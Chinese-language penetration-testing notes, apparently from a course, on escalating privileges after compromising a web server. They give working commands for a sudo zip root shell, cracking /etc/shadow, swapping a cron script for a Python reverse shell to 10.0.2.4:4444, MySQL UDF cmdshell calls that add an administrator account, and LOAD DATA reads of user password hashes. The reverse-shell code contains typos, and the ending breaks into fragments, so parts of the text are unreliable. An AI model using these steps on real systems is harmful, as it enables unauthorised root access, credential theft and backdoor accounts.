往往 拿下服务器的web服务只是具有低权限用户(www-data)
对于内网渗透,我们需要提权到root
提升权限是非常关键的一步,
攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,
来达到提升权限的目的。
linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
先查看是否可以使用内核漏洞进行提权。先对系统做个了解
#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a
# 查看系统发行版本 Ubuntu
lsb_release -a
gcc xxx.c -o exploit
chmod +x exploit
./exploit
内核溢出的提权,不过一般用不上。
大多linux系统的密码都和/etc/passwd、/etc/shadow这两个配置文件相关的;
passwd里面储存了用户,
shadow里面是密码的hash;
且passwd是全用户可读,root可写。
shadow是仅root可以进行读写的。
破解linux用户名和对应的密码
使用John
这个工具来破解。
可以在root权限下查看密码(前提是不知道root密码)
系统内可能会有一些定时执行的任务,
一般这些任务由crontab来管理,
具有所属用户的权限。
非root权限的用户是不可以列出root用户的计划任务的。
但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,
如果刚好遇到一个把其中脚本配置成可以任意用户可写的,
这个时候就可以修改脚本等回连rootshell;
如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,
也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。
因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入
python -c "import pty;pty.spawn('/bin/bash')"
看到是已经启动了虚拟终端
ssh 登录
ssh xxx@ip
利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。
Matching Defaults entries for zico on this host:
env_reset, exempt_group=admin,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zico may run the following commands on this host:
(root) NOPASSWD: /bin/tar
(root) NOPASSWD: /usr/bin/zip
可以使用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
安装问题
默认在 系统管理员 下 安装
以服务 启动
远程 执行命令 反弹 shell 回来 *(攻击机 监听端口 )
● Linux UDF
通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限
sleep(),sum(),ascii()
用户自定义函数
自己写方便自己函数,它有3种返回值,
分别是STRING字符型,INTEGER整型,REAL 实数型
-掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限
版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
mysql版本大于5.1,
udf.dll文件必须放置在mysql安装目录的lib plugin文件夹下
mysql版本小于5.1,
udf.dll文件在 windows server 2003下放置于c:windows system32目录,
在windows server - - 2000下放置在c:winnt system32目录。
首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:
mysql -V
mysql --version
进入MySQL数据库中,执行:
show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\
show variables like '%version_%';
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
要求 root 权限
mof 是 win系统自带 漏洞
Mysql漏洞利用(越权, 从低权限拿到root密码)
无法通过Load_file读文件
或者通过into dumpfile 或者into outfile去写文件
通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件
读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
select * from test2;
用winhex打开一下user.myd文件
被00字符给截断了,导致后面的东西都没进数据库。
下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘’ 即可,这样子就把截断符号作为分隔符处理了,完整的语句
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '';
exploit —>windows溢出利用
虚拟连接提权
一句话木马提权
通过资产扫描弱口令 FTP Mysql Redis ssh RPC
由于 root 权限 免了低高权限 UDP 提权
i春秋\05 提权与内网渗透\
脏牛漏洞
第三方软件 提权 - pr提权
sqlserver SA xp cmd shell
mysql udf 插件提权 确权MOF 替换文件 提权
dll文件 加载
ftp 输入法 vnc 配置
输入法 替换exe 重启 自动加载